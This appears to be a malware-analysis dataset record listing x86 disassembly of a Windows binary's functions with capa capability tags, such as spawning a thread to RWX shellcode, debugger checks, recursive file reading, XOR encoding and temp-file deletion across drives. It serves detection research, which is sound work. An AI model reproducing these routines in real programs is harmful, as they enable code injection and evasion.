joyce8/EMBER2024-capa huggingface dataset:
Function at 0x40ee33
Capabilities:
Allocate or change rwx memory
Create thread
Spawn thread to rwx shellcode

Disassembly:
push ebp
mov ebp, esp
push ebx
push esi
push edi
mov edi, dword [ebp + 8]
mov ebx, ecx
push 0x40
push 0x3000
lea eax, [edi + 0x4000]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov esi, eax
test esi, esi
je 0x40ee8d
push edi
push ebx
push esi
call fcn.0043d810
add esp, 0xc
lea eax, [ebp + 0xc]
push eax
xor eax, eax
push eax
push eax
push esi
push eax
push eax
call dword [sym.imp.KERNEL32.dll_CreateThread]
push 0x3a980
push eax
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
cmp eax, 0x102
jne 0x40ee8d
mov al, 1
jmp 0x40ee8f
xor al, al
pop edi
pop esi
pop ebx
pop ebp
ret

Function at 0x40ee94
Capabilities:
Get file version info

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
push ebx
push esi
lea eax, [ebp - 8]
mov esi, ecx
push eax
push esi
mov ebx, edx
call dword [sym.imp.VERSION.dll_GetFileVersionInfoSizeA]
mov dword [ebp - 4], eax
test eax, eax
jne 0x40eeb5
inc eax
jmp 0x40ef31
add eax, 0x20
push edi
push eax
call fcn.0043b123
pop ecx
mov edi, eax
push edi
push dword [ebp - 4]
push dword [ebp - 8]
push esi
call dword [sym.imp.VERSION.dll_GetFileVersionInfoA]
test eax, eax
jne 0x40eed8
push 2
jmp 0x40eef9
lea eax, [ebp - 4]
mov dword [ebp - 4], 0x34
push eax
lea eax, [ebp - 0xc]
push eax
push 0x4b84bc
push edi
call dword [sym.imp.VERSION.dll_VerQueryValueA]
test eax, eax
jne 0x40eefc
push 3
pop esi
jmp 0x40ef24
mov edx, dword [ebp - 0xc]
mov ecx, dword [edx + 0xc]
movzx eax, cx
push eax
movzx eax, word [edx + 8]
shr ecx, 0x10
push ecx
push eax
movzx eax, word [edx + 0x12]
push eax
push str._d._d._d._d
push ebx
call fcn.0040bdd3
add esp, 0x18
xor esi, esi
push 1
push edi
call fcn.0043b115
pop ecx
pop ecx
mov eax, esi
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x40ef37
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
push ebx
lea eax, [ebp - 8]
xor ebx, ebx
push eax
push 1
push ebx
push edx
push 0x80000002
mov dword [ebp - 0xc], ebx
mov dword [ebp - 4], ebx
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x40efc0
push esi
mov esi, dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
lea eax, [ebp - 4]
push eax
push ebx
lea eax, [ebp - 0xc]
push eax
push ebx
push dword [ebp + 8]
push dword [ebp - 8]
call esi
test eax, eax
jne 0x40efb6
mov eax, dword [ebp - 4]
test eax, eax
je 0x40efb6
add eax, 0x64
push edi
push eax
call fcn.0044cc2a
pop ecx
mov edi, eax
lea eax, [ebp - 4]
push eax
push edi
push ebx
push ebx
push dword [ebp + 8]
push dword [ebp - 8]
call esi
mov esi, dword [ebp + 0xc]
push 0x27
push edi
push esi
call fcn.0043d810
push edi
mov byte [esi + 0x27], bl
call fcn.0043f85e
add esp, 0x10
pop edi
push dword [ebp - 8]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x40efc5
Capabilities:
Delete file
Get common file path
Get disk information

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x40c
lea eax, [ebp - 0x108]
push ebx
push esi
push edi
mov esi, 0x104
xor edi, edi
push esi
push edi
push eax
call fcn.0043dd90
add esp, 0xc
lea eax, [ebp - 0x108]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_GetLogicalDriveStringsA]
dec eax
cmp eax, 0x103
ja 0x40f0e0
cmp byte [ebp - 0x108], 0
lea ebx, [ebp - 0x108]
je 0x40f0e0
push ebx
call dword [sym.imp.KERNEL32.dll_GetDriveTypeA]
cmp eax, 3
je 0x40f030
cmp eax, 2
je 0x40f030
cmp eax, 4
jne 0x40f0c7
movsx eax, byte [ebx]
push eax
push ebx
lea eax, [ebp - 0x408]
push str.dir__A__S__s_______temp____c_.TMP_
push eax
call fcn.0040bdd3
push ecx
push ecx
lea eax, [ebp - 0x408]
mov ecx, esp
push eax
call fcn.0040c569
push edi
mov edx, 0x258
mov cl, 1
call fcn.0040c110
add esp, 0x1c
lea eax, [ebp - 0x308]
push eax
push 0x100
call dword [sym.imp.KERNEL32.dll_GetTempPathW]
movsx cx, byte [ebx]
lea edi, [ebp - 0x308]
mov word [ebp + eax*2 - 0x308], cx
xor ecx, ecx
mov word [ebp + eax*2 - 0x306], cx
sub edi, 2
mov ax, word [edi + 2]
add edi, 2
cmp ax, cx
jne 0x40f097
mov esi, str._.TMP
lea ecx, [ebp - 0x308]
xor edx, edx
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
call fcn.004115a4
lea eax, [ebp - 0x308]
push eax
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
xor edi, edi
mov ecx, ebx
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x40f0cc
sub ecx, edx
inc ebx
add ebx, ecx
cmp byte [ebx], al
jne 0x40f016
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x4115a4
Capabilities:
Read file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x6cc
lea eax, [ebp - 0x260]
push ebx
push esi
push edi
push 0x250
push 0
push eax
mov esi, edx
mov ebx, ecx
call fcn.0043dd90
add esp, 0xc
test esi, esi
jne 0x4115ea
lea eax, [ebp - 0x260]
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_FindFirstFileW]
cmp eax, 0xffffffff
jne 0x4115f7
xor eax, eax
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
mov ecx, 0x94
lea edi, [ebp - 0x260]
rep movsd dword es:[edi], dword [esi]
call fcn.00446299
push eax
push str.292ACC33D2
call fcn.00446299
push eax
push str.Comment
lea eax, [ebp - 0x6c8]
push str.__s__04X_s_04X
push eax
call fcn.0040bcca
add esp, 0x18
cmp dword [ebp - 0x244], 0
ja 0x4115e1
cmp dword [ebp - 0x240], 0x20000000
ja 0x4115e1
push 0x4b836c
push ebx
call fcn.0044659a
mov dword [ebp - 4], eax
pop ecx
pop ecx
test eax, eax
je 0x4115e1
push 0x260
lea eax, [ebp - 0x4c4]
push 0
push eax
call fcn.0043dd90
mov ecx, 0x94
lea esi, [ebp - 0x260]
lea edi, [ebp - 0x4c8]
add esp, 0xc
rep movsd dword es:[edi], dword [esi]
xor ecx, ecx
movzx eax, word [ecx + 0x4cfcb4]
lea ecx, [ecx + 2]
mov word [ebp + ecx - 0x27a], ax
test ax, ax
jne 0x411675
mov eax, dword [ebp - 0x240]
add eax, 0x664
push eax
call fcn.0043b123
pop ecx
mov ebx, eax
lea esi, [ebp - 0x4c8]
mov ecx, 0x99
mov edi, ebx
rep movsd dword es:[edi], dword [esi]
mov esi, dword [ebp - 4]
lea ecx, [ebx + 0x264]
push esi
push 1
push dword [ebp - 0x240]
push ecx
call fcn.0044c8cf
push esi
call fcn.004467b3
xor eax, eax
lea ecx, [ebp - 0x10]
add esp, 0x14
mov byte [ebp - 4], al
mov dword [ebp - 0x10], eax
mov dword [ebp - 0xc], eax
mov dword [ebp - 8], eax
mov eax, dword [ebp - 0x240]
push dword [ebp - 4]
add eax, 0x264
add eax, ebx
push eax
push ebx
call fcn.00411ec0
push ebx
call fcn.0043ae75
sub esp, 0x14
lea eax, [ebp - 0x6c8]
mov ecx, esp
push eax
call fcn.0040c4be
sub esp, 0x10
lea eax, [ebp - 0x10]
mov ecx, esp
push eax
call fcn.00411d1b
call fcn.00416cc0
lea ecx, [ebp - 0x10]
lea esi, [eax - 1]
neg esi
sbb esi, esi
call fcn.0040c696
lea eax, [esi + 1]
jmp 0x4115e3
Function at 0x411739
Capabilities:
Enumerate files on windows
Enumerate files recursively

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc88
push ebx
push esi
push edi
mov edi, ecx
lea eax, [ebp - 0x874]
push edi
mov esi, edx
mov dword [ebp - 0xc], edi
push str._s.
push eax
mov dword [ebp - 8], esi
call fcn.0040bc9c
add esp, 0xc
lea eax, [ebp - 0x264]
push eax
lea eax, [ebp - 0x874]
push eax
call dword [sym.imp.KERNEL32.dll_FindFirstFileW]
mov dword [ebp - 0x10], eax
cmp eax, 0xffffffff
jne 0x411787
xor eax, eax
jmp 0x4118b0
xor ebx, ebx
lea ecx, [ebp - 0x238]
lea edx, [ecx + 2]
mov ax, word [ecx]
add ecx, 2
cmp ax, bx
jne 0x411792
sub ecx, edx
sar ecx, 1
cmp ecx, 2
ja 0x4117b4
cmp word [ebp - 0x238], 0x2e
je 0x411897
test byte [ebp - 0x264], 0x10
je 0x4117f8
cmp byte [ebp + 8], 0
je 0x411897
lea eax, [ebp - 0x238]
push eax
push edi
lea eax, [ebp - 0x874]
push str._s_s
push eax
call fcn.0040bc9c
push dword [ebp + 8]
mov edx, esi
lea ecx, [ebp - 0x874]
call fcn.00411739
add esp, 0x14
jmp 0x411897
cmp dword [esi + 0x190], 0x64
jne 0x411805
mov bl, 1
jmp 0x411864
xor ecx, ecx
movzx eax, word [ebp + ecx - 0x238]
lea ecx, [ecx + 2]
mov word [ebp + ecx - 0x466], ax
test ax, ax
jne 0x411807
lea eax, [ebp - 0x464]
push eax
call fcn.0044975b
xor edi, edi
pop ecx
cmp dword [esi + 0x190], edi
jle 0x411861
lea eax, [ebp - 0x464]
push esi
push eax
call fcn.0043c3cd
pop ecx
pop ecx
test eax, eax
jne 0x41185c
mov eax, dword [ebp - 8]
inc edi
add esi, 0x14
cmp edi, dword [eax + 0x190]
jl 0x411836
mov esi, eax
jmp 0x411861
mov esi, dword [ebp - 8]
mov bl, 1
mov edi, dword [ebp - 0xc]
test bl, bl
je 0x411895
lea eax, [ebp - 0x238]
push eax
push edi
lea eax, [ebp - 0xc84]
push str._s_s
push eax
call fcn.0040bc9c
add esp, 0x10
lea edx, [ebp - 0x264]
lea ecx, [ebp - 0xc84]
call fcn.004115a4
xor ebx, ebx
lea ecx, [ebp - 0x264]
push ecx
push dword [ebp - 0x10]
call dword [sym.imp.KERNEL32.dll_FindNextFileW]
test eax, eax
jne 0x411789
inc eax
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x4118b7
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xf0
cmp byte [0x4ca278], 0
push ebx
push esi
jne 0x4118d3
xor eax, eax
inc eax
jmp 0x411aa6
xor ebx, ebx
mov byte [ebp - 1], 0xfa
lea eax, [ebp - 1]
mov dword [ebp - 0x14], ebx
push eax
lea ecx, [ebp - 0x14]
mov dword [ebp - 0x10], ebx
mov dword [ebp - 0xc], ebx
mov dword [ebp - 0x28], ebx
mov dword [ebp - 0x24], ebx
mov dword [ebp - 0x20], ebx
call fcn.00411c95
lea eax, [ebp - 1]
mov byte [ebp - 1], 0xde
push eax
lea ecx, [ebp - 0x14]
call fcn.00411c95
lea eax, [ebp - 1]
mov byte [ebp - 1], 0xad
push eax
lea ecx, [ebp - 0x14]
call fcn.00411c95
lea eax, [ebp - 1]
mov byte [ebp - 1], 0xba
push eax
lea ecx, [ebp - 0x14]
call fcn.00411c95
mov byte [ebp - 8], bl
lea ecx, [ebp - 0x14]
push dword [ebp - 8]
push 0x4d01b4
push 0x4cfcb0
push dword [ebp - 0x10]
call fcn.0040e0aa
call dword [sym.imp.KERNEL32.dll_IsDebuggerPresent]
movzx ecx, byte [0x4d006a]
test eax, eax
push 0x31
pop edx
cmovne ecx, edx
mov byte [ebp - 1], 0x28
lea eax, [ebp - 1]
mov byte [0x4d006a], cl
push eax
lea ecx, [ebp - 0x14]
call fcn.00411c95
lea eax, [ebp - 0x28]
push eax
call fcn.0040e40b
pop ecx
mov byte [ebp - 8], bl
lea ecx, [ebp - 0x14]
push dword [ebp - 8]
push dword [ebp - 0x24]
push dword [ebp - 0x28]
push dword [ebp - 0x10]
call fcn.0040dcd0
mov eax, dword [0x4d01b4]
push 6
cdq
pop ecx
idiv ecx
test edx, edx
jne 0x411a00
push 0x20000
call fcn.0043b123
pop ecx
mov esi, eax
mov ecx, esi
call fcn.0040e76c
mov dword [ebp - 8], eax
test eax, eax
je 0x4119f9
lea eax, [ebp - 1]
mov byte [ebp - 1], 0x2a
push eax
lea ecx, [ebp - 0x14]
call fcn.00411c95
mov byte [ebp - 0x1a], bl
lea eax, [ebp - 4]
push dword [ebp - 0x1a]
lea ecx, [ebp - 0x14]
push eax
lea eax, [ebp - 8]
push eax
push dword [ebp - 0x10]
call fcn.0040e0aa
mov eax, dword [ebp - 8]
lea ecx, [ebp - 0x14]
mov byte [ebp - 0x1a], bl
add eax, esi
push dword [ebp - 0x1a]
push eax
push esi
push dword [ebp - 0x10]
call fcn.0040e0aa
push esi
call fcn.0043ae75
pop ecx
call dword [sym.imp.KERNEL32.dll_GetTickCount]
push eax
call fcn.00446299
push eax
call fcn.00446299
push eax
push str.Comment
lea eax, [ebp - 0xf0]
push str.__s__04X_04X_08X
push eax
call dword [sym.imp.USER32.dll_wsprintfW]
add esp, 0x18
inc dword [0x4d01b4]
call fcn.00446299
mov word [ebp - 0x1c], ax
call fcn.00446299
mov edx, dword [ebp - 0x10]
mov ecx, dword [ebp - 0x14]
mov word [ebp - 0x1a], ax
sub edx, ecx
je 0x411a60
mov eax, ebx
and eax, 3
mov al, byte [ebp + eax - 0x1c]
xor byte [ecx + ebx], al
inc ebx
cmp ebx, edx
jb 0x411a4f
lea ecx, [ebp - 0x14]
call fcn.0040e522
sub esp, 0x18
lea eax, [ebp - 0xf0]
mov ecx, esp
push eax
call fcn.0040c4be
sub esp, 0x10
lea eax, [ebp - 0x14]
mov ecx, esp
push eax
call fcn.00411d1b
call fcn.00416cc0
lea ecx, [ebp - 0x28]
lea esi, [eax - 1]
neg esi
sbb esi, esi
call fcn.0040c696
lea ecx, [ebp - 0x14]
call fcn.0040c696
lea eax, [esi + 1]
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x411c2b
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
push ecx
mov eax, dword [0x4d02cc]
mov ecx, 0x4d02cc
push ebx
xor ebx, ebx
mov dword [0x4d02d0], eax
mov byte [ebp - 4], bl
push dword [ebp - 4]
push 0x4ca7ac
push 0x4ca688
push eax
call fcn.0040e0aa
call fcn.0040f0e7
mov eax, dword [str.disable]
mov dword [0x4d00bc], eax
mov eax, dword [0x4b86f4]
mov dword [0x4d00c0], eax
lea eax, [ebp - 4]
push eax
push ebx
push ebx
push 0x411aac
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_CreateThread]
push 0xffffffffffffffff
push eax
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
xor eax, eax
pop ebx
mov esp, ebp
pop ebp
ret 0x10

Function at 0x412bd3
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
push ebx
push esi
push edi
mov edi, edx
mov ebx, ecx
mov esi, edi
xor edx, edx
sub esi, ebx
lea eax, [edx - 0xf]
shl al, 3
lea ecx, [edx + ebx]
or al, 0x1c
mov byte [esi + ecx], al
lea eax, [edx + 9]
shl al, 2
or al, 0x4e
inc edx
mov byte [ecx], al
cmp edx, 0x10
jl 0x412be3
mov esi, dword [ebp + 0xc]
cmp dword [ebp + 8], esi
je 0x412c2b
xor eax, eax
xor edx, edx
cmp eax, 0x10
cmovne edx, eax
dec esi
mov cl, byte [esi]
mov al, byte [edx + ebx]
xor al, cl
mov dword [ebp + 0xc], esi
xor al, 0x72
mov byte [edx + ebx], al
lea eax, [edx + 1]
cmp dword [ebp + 8], esi
jne 0x412c0b
mov ecx, dword [ebp + 0x18]
jmp 0x412c38
dec ecx
mov al, byte [ecx]
xor byte [edi], al
mov dword [ebp + 0x18], ecx
cmp dword [ebp + 0x14], ecx
jne 0x412c30
lea ecx, [ebp + 8]
call fcn.0040c696
pop edi
pop esi
lea ecx, [ebp + 0x14]
pop ebx
pop ebp
jmp fcn.0040c696
Function at 0x417460
Capabilities:
Create directory

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x489d88
mov eax, dword fs:[0]
push eax
sub esp, 8
push esi
mov eax, dword [0x4c9080]
xor eax, ebp
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov esi, ecx
mov dword [ebp - 0x10], esi
mov dword [ebp - 0x14], esi
mov dword [ebp - 4], 3
xor eax, eax
mov dword [esi + 0x14], 7
mov dword [esi + 0x10], 0
mov word [esi], ax
lea eax, [ebp + 8]
mov byte [ebp - 4], 4
cmp esi, eax
je 0x4174bd
push 0xffffffffffffffff
push 0
push eax
call fcn.0040c8c7
cmp dword [esi + 0x14], 8
jb 0x4174c7
mov eax, dword [esi]
jmp 0x4174c9
mov eax, esi
push 0
push eax
call dword [sym.imp.KERNEL32.dll_CreateDirectoryW]
mov byte [ebp - 4], 2
mov eax, dword [ebp + 0x1c]
cmp eax, 8
jb 0x41752f
mov ecx, dword [ebp + 8]
inc eax
cmp eax, 0x7fffffff
jbe 0x4174ee
call fcn.0044cbda
add eax, eax
cmp eax, 0x1000
jb 0x417526
test byte [ebp + 8], 0x1f
je 0x417502
call fcn.0044cbda
mov eax, dword [ecx - 4]
cmp eax, ecx
jb 0x41750e
call fcn.0044cbda
sub ecx, eax
cmp ecx, 4
jae 0x41751a
call fcn.0044cbda
cmp ecx, 0x23
jbe 0x417524
call fcn.0044cbda
mov ecx, eax
push ecx
call fcn.0043ae70
add esp, 4
xor eax, eax
mov dword [ebp + 0x1c], 7
mov word [ebp + 8], ax
mov dword [ebp + 0x18], 0
mov byte [ebp - 4], 1
mov eax, dword [ebp + 0x34]
cmp eax, 8
jb 0x4175a0
mov ecx, dword [ebp + 0x20]
inc eax
cmp eax, 0x7fffffff
jbe 0x41755f
call fcn.0044cbda
add eax, eax
cmp eax, 0x1000
jb 0x417597
test byte [ebp + 0x20], 0x1f
je 0x417573
call fcn.0044cbda
mov eax, dword [ecx - 4]
cmp eax, ecx
jb 0x41757f
call fcn.0044cbda
sub ecx, eax
cmp ecx, 4
jae 0x41758b
call fcn.0044cbda
cmp ecx, 0x23
jbe 0x417595
call fcn.0044cbda
mov ecx, eax
push ecx
call fcn.0043ae70
add esp, 4
xor eax, eax
mov dword [ebp + 0x34], 7
mov word [ebp + 0x20], ax
mov dword [ebp + 0x30], 0
mov byte [ebp - 4], al
mov eax, dword [ebp + 0x4c]
cmp eax, 8
jb 0x417610
mov ecx, dword [ebp + 0x38]
inc eax
cmp eax, 0x7fffffff
jbe 0x4175cf
call fcn.0044cbda
add eax, eax
cmp eax, 0x1000
jb 0x417607
test byte [ebp + 0x38], 0x1f
je 0x4175e3
call fcn.0044cbda
mov eax, dword [ecx - 4]
cmp eax, ecx
jb 0x4175ef
call fcn.0044cbda
sub ecx, eax
cmp ecx, 4
jae 0x4175fb
call fcn.0044cbda
cmp ecx, 0x23
jbe 0x417605
call fcn.0044cbda
mov ecx, eax
push ecx
call fcn.0043ae70
add esp, 4
xor eax, eax
mov dword [ebp + 0x4c], 7
mov word [ebp + 0x38], ax
mov dword [ebp + 0x48], 0
mov dword [ebp - 4], 0xffffffff
mov eax, dword [ebp + 0x64]
cmp eax, 8
jb 0x417684
mov ecx, dword [ebp + 0x50]
inc eax
cmp eax, 0x7fffffff
jbe 0x417643
call fcn.0044cbda
add eax, eax
cmp eax, 0x1000
jb 0x41767b
test byte [ebp + 0x50], 0x1f
je 0x417657
call fcn.0044cbda
mov eax, dword [ecx - 4]
cmp eax, ecx
jb 0x417663
call fcn.0044cbda
sub ecx, eax
cmp ecx, 4
jae 0x41766f
call fcn.0044cbda
cmp ecx, 0x23
jbe 0x417679
call fcn.0044cbda
mov ecx, eax
push ecx
call fcn.0043ae70
add esp, 4
xor eax, eax
mov dword [ebp + 0x64], 7
mov word [ebp + 0x50], ax
mov eax, esi
mov dword [ebp + 0x60], 0
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop esi
mov esp, ebp
pop ebp
ret 0x60
Function at 0x422f24
Capabilities:
Encode data using xor
Generate random numbers using a mersenne twister

Disassembly:
mov eax, 0x48b089
call fcn.004897c0
mov eax, 0x13a0
call fcn.0043bcc0
push ebx
push esi
mov esi, ecx
xor ebx, ebx
mov dword [ebp - 0x20], esi
push edi
mov dword [ebp - 4], ebx
push ebx
mov dword [ebp - 0x14], ebx
call fcn.0044c6c1
or dword [ebp - 0x28], 0xffffffff
mov edx, eax
pop ecx
xor ecx, ecx
mov dword [ebp - 0x13a8], edx
inc ecx
mov edi, 0x270
mov eax, edx
shr eax, 0x1e
xor eax, edx
imul edx, eax, 0x6c078965
add edx, ecx
mov dword [ebp + ecx*4 - 0x13a8], edx
inc ecx
cmp ecx, edi
jl 0x422f63
mov eax, dword [0x4d31ac]
dec eax
mov dword [ebp - 0x13ac], edi
mov dword [ebp - 0x18], eax
xor eax, eax
mov dword [ebp - 0x1c], ebx
mov dword [esi + 0x14], 7
mov dword [esi + 0x10], ebx
mov word [esi], ax
push 0x18
pop edi
mov dword [ebp - 4], ebx
mov ecx, esi
push edi
mov dword [ebp - 0x14], 1
call fcn.0040daba
push dword [ebp - 0x18]
lea eax, [ebp - 0x13ac]
push dword [ebp - 0x1c]
push eax
call fcn.00423559
cmp dword [0x4d31b0], 8
mov ecx, 0x4d319c
cmovae ecx, dword [0x4d319c]
movzx eax, word [ecx + eax*2]
push eax
mov ecx, esi
mov dword [ebp - 4], ebx
call fcn.0041389b
dec edi
test edi, edi
jg 0x422fb4
mov ecx, dword [ebp - 0xc]
mov eax, esi
pop edi
pop esi
mov dword fs:[0], ecx
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x4235e9
Capabilities:
Encode data using xor
Generate random numbers using a mersenne twister

Disassembly:
push esi
mov esi, ecx
push edi
mov edi, 0x270
cmp dword [esi], edi
jne 0x423631
lea edx, [esi + 8]
mov ecx, dword [edx - 4]
xor ecx, dword [edx]
lea edx, [edx + 4]
and ecx, 0x7fffffff
xor ecx, dword [edx - 8]
mov eax, ecx
and al, 1
movzx eax, al
neg eax
sbb eax, eax
shr ecx, 1
and eax, 0x9908b0df
xor eax, dword [edx + 0x62c]
xor eax, ecx
mov dword [edx + 0x9b8], eax
sub edi, 1
jne 0x4235f9
jmp 0x42363e
cmp dword [esi], 0x4e0
jb 0x42363e
call fcn.00423678
mov eax, dword [esi]
pop edi
mov edx, dword [esi + eax*4 + 4]
inc eax
mov dword [esi], eax
mov ecx, edx
mov eax, dword [esi + 0x1384]
shr ecx, 0xb
and eax, ecx
xor edx, eax
mov eax, edx
and eax, 0xff3a58ad
shl eax, 7
xor edx, eax
mov eax, edx
and eax, 0xffffdf8c
shl eax, 0xf
xor edx, eax
mov eax, edx
shr eax, 0x12
xor eax, edx
pop esi
ret
Function at 0x423678
Capabilities:
Encode data using xor
Generate random numbers using a mersenne twister

Disassembly:
push ebx
push esi
mov esi, ecx
mov ebx, 0xe3
push edi
lea edi, [esi + 0x9c4]
mov ecx, dword [edi + 4]
xor ecx, dword [edi]
and ecx, 0x7fffffff
xor ecx, dword [edi]
lea edi, [edi + 4]
mov eax, ecx
and al, 1
movzx eax, al
neg eax
sbb eax, eax
shr ecx, 1
and eax, 0x9908b0df
xor eax, dword [edi + 0x630]
xor eax, ecx
mov dword [edi - 0x9c4], eax
sub ebx, 1
jne 0x423688
lea edi, [esi + 0xd50]
mov ebx, 0x18c
mov ecx, dword [edi + 4]
xor ecx, dword [edi]
and ecx, 0x7fffffff
xor ecx, dword [edi]
lea edi, [edi + 4]
mov eax, ecx
and al, 1
movzx eax, al
neg eax
sbb eax, eax
shr ecx, 1
and eax, 0x9908b0df
xor eax, dword [edi - 0xd50]
xor eax, ecx
mov dword [edi - 0x9c4], eax
sub ebx, 1
jne 0x4236c8
mov ecx, dword [esi + 0x1380]
xor ecx, dword [esi + 4]
and ecx, 0x7fffffff
xor ecx, dword [esi + 0x1380]
mov eax, ecx
and al, 1
movzx eax, al
neg eax
pop edi
sbb eax, eax
shr ecx, 1
and eax, 0x9908b0df
xor eax, dword [esi + 0x634]
xor eax, ecx
mov dword [esi + 0x9c0], eax
and dword [esi], ebx
pop esi
pop ebx
ret

Function at 0x423d15
Capabilities:
Reference http user-agent string

Disassembly:
mov eax, 0x48b2e4
call fcn.004897c0
sub esp, 0x1c
push esi
push edi
mov esi, ecx
lea ecx, [ebp - 0x28]
push 0x4b9118
call fcn.0040c4be
lea eax, [ebp - 0x28]
xor edi, edi
push eax
push 0x4d03dc
mov ecx, esi
mov dword [ebp - 4], edi
call fcn.00425313
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x28]
push edi
push 1
call fcn.0040c714
push str.text_html_application_xhtmlxml_application_xml_q0.9_image_webp___q0.8
lea ecx, [ebp - 0x28]
call fcn.0040c4be
lea eax, [ebp - 0x28]
mov dword [ebp - 4], 2
push eax
push 0x4d052c
mov ecx, esi
call fcn.00425313
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x28]
push edi
push 1
call fcn.0040c714
push str.en_US_en_q0.8
lea ecx, [ebp - 0x28]
call fcn.0040c4be
lea eax, [ebp - 0x28]
mov dword [ebp - 4], 3
push eax
push 0x4d0874
mov ecx, esi
call fcn.00425313
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x28]
push edi
push 1
call fcn.0040c714
mov ecx, dword [ebp - 0xc]
pop edi
mov dword fs:[0], ecx
pop esi
mov esp, ebp
pop ebp
ret
Function at 0x423f9e
Capabilities:
Reference http user-agent string

Disassembly:
mov eax, 0x48b407
call fcn.004897c0
push ecx
push ebx
push esi
mov esi, ecx
xor ebx, ebx
push edi
push dword [ebp + 8]
mov dword [ebp - 0x10], esi
lea ecx, [esi + 8]
mov dword [esi], ebx
mov byte [esi + 4], bl
call fcn.0040c4ef
mov edi, 0x4b65b4
mov dword [ebp - 4], ebx
push edi
lea ecx, [esi + 0x20]
call fcn.0040c4be
push edi
lea ecx, [esi + 0x38]
mov byte [ebp - 4], 1
call fcn.0040c4be
push edi
lea ecx, [esi + 0x50]
mov byte [ebp - 4], 2
call fcn.0040c4be
push edi
lea ecx, [esi + 0x68]
mov byte [ebp - 4], 3
call fcn.0040c4be
mov byte [ebp - 4], 4
lea ecx, [esi + 0x90]
push edi
mov dword [esi + 0x80], ebx
mov dword [esi + 0x84], ebx
mov dword [esi + 0x88], ebx
mov dword [esi + 0x8c], ebx
call fcn.0040c4be
push edi
lea ecx, [esi + 0xa8]
mov byte [ebp - 4], 5
call fcn.0040c4be
mov byte [ebp - 4], 6
xor eax, eax
mov dword [esi + 0xc0], ebx
mov dword [esi + 0xc4], ebx
and dword [esi + 0xd8], 0
push 7
pop ebx
mov dword [esi + 0xdc], ebx
mov word [esi + 0xc8], ax
push edi
lea ecx, [esi + 0xe0]
mov byte [ebp - 4], bl
call fcn.0040c4be
mov byte [ebp - 4], 8
lea ecx, [esi + 0xfc]
and dword [esi + 0xf8], 0
push edi
call fcn.0040c4be
push 0x4b9118
lea ecx, [esi + 0x114]
mov byte [ebp - 4], 9
call fcn.0040c4be
mov byte [ebp - 4], 0xa
lea ecx, [esi + 0x130]
push edi
mov byte [esi + 0x12c], 0
call fcn.0040c4be
mov byte [ebp - 4], 0xb
push edi
lea ecx, [esi + 0x148]
call fcn.0040c4be
mov byte [ebp - 4], 0xc
xor eax, eax
and dword [esi + 0x170], 0
mov dword [esi + 0x174], ebx
mov word [esi + 0x160], ax
push edi
lea ecx, [esi + 0x178]
mov byte [ebp - 4], 0xd
call fcn.0040c4be
mov byte [ebp - 4], 0xe
mov eax, 0x7530
and dword [esi + 0x190], 0
or dword [ebp - 4], 0xffffffff
mov ecx, dword [ebp - 0xc]
mov dword [esi + 0x198], eax
mov dword [esi + 0x19c], eax
mov eax, esi
pop edi
mov dword [esi + 0x194], 0xea60
pop esi
pop ebx
mov dword fs:[0], ecx
mov esp, ebp
pop ebp
ret 8
Function at 0x4561d7
Capabilities:
Read file on windows

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
pop ebp
jmp fcn.00456056
Function at 0x477930
Capabilities:
Create new key via cryptacquirecontext

Disassembly:
sub esp, 0x3c
mov eax, dword [0x4c9080]
xor eax, esp
mov dword [esp + 0x38], eax
push ebx
push esi
push edi
mov edi, dword [sym.imp.ADVAPI32.dll_CryptAcquireContextA]
mov esi, ecx
push 0xf0000000
push 1
push 0
push 0
push esi
mov dword [esi], 0
call edi
test eax, eax
jne 0x47798c
call dword [sym.imp.KERNEL32.dll_GetLastError]
push 8
push 1
push 0
push str.Crypto_RNG
push esi
mov ebx, eax
call edi
test eax, eax
jne 0x47798c
push 0x28
push 1
push eax
push str.Crypto_RNG
push esi
call edi
test eax, eax
je 0x4779a0
mov ecx, dword [esp + 0x44]
mov eax, esi
pop edi
pop esi
pop ebx
xor ecx, esp
call fcn.0043b37f
add esp, 0x3c
ret
push ebx
call dword [sym.imp.KERNEL32.dll_SetLastError]
push str.CryptAcquireContext
lea ecx, [esp + 0x10]
call fcn.0040c569
lea eax, [esp + 0xc]
push eax
lea ecx, [esp + 0x28]
call fcn.00477a20
push 0x4c713c
lea eax, [esp + 0x28]
push eax
call fcn.0043d3c2
int3

Function at 0x477d60
Capabilities:
Generate random numbers via winapi

Disassembly:
sub esp, 0x40
